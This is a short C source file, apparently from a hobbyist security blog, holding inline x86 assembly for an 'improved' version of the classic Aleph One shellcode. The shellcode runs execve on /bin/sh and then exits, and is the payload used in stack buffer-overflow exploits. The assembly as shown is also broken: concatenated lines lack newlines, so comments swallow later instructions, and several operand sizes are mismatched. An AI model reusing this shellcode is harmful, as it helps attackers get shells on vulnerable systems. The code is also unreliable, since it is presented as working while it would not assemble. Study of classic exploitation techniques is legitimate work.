shellcodeasm.c - The (Improved) AlephOne Shellcode

/*==================================================================================================
  --------------------------------------------------------------------------------------------------
  [shellcodeasm.c]
  The (improved) AlephOne shellcode.

        (c) Damion 'Phr0z3n.dev' Tapper, 2015.
        Email: [email protected]
        Website: http://L337Stuff.Blogspot.com
  --------------------------------------------------------------------------------------------------
  ==================================================================================================*/

/**
 * Compile with:
 * gcc -o shellcodeasm -g -ggdb shellcodeasm.c
 *
 * The -ggdb switch generates debugging symbols.
 */

int main(void)
{
    __asm__(
            "jmp        0x1f                # 2 bytes"
            "popl       %esi                # 1 byte"
            "movl       %esi, 0x8(%esi)     # 3 bytes"
            "xorl       %eax, %eax          # 2 bytes"
            "movb       %eax, 0x7(%esi)     # 3 bytes"
            "movl       %eax, 0xc(%esi)     # 3 bytes"
            "movl       $0xb, %al           # 2 bytes"
            "movl       %esi, %ebx          # 2 bytes"
            "leal       0x8(%esi), %ecx     # 3 bytes"
            "leal       0xc(%esi), %edx     # 3 bytes"
            "int        $0x80               # 2 bytes"
            "xorl       %ebx, %ebx          # 2 bytes"
            "movl       %ebx, %eax          # 2 bytes"
            "inc        %eax                # 1 byte"
            "int        $0x80               # 2 bytes"
            "call       -0x24               # 5 bytes"
            ".string    \"/bin/sh\"         # 8 bytes"
            "                               # 46 bytes total"
    );

    return 0;
}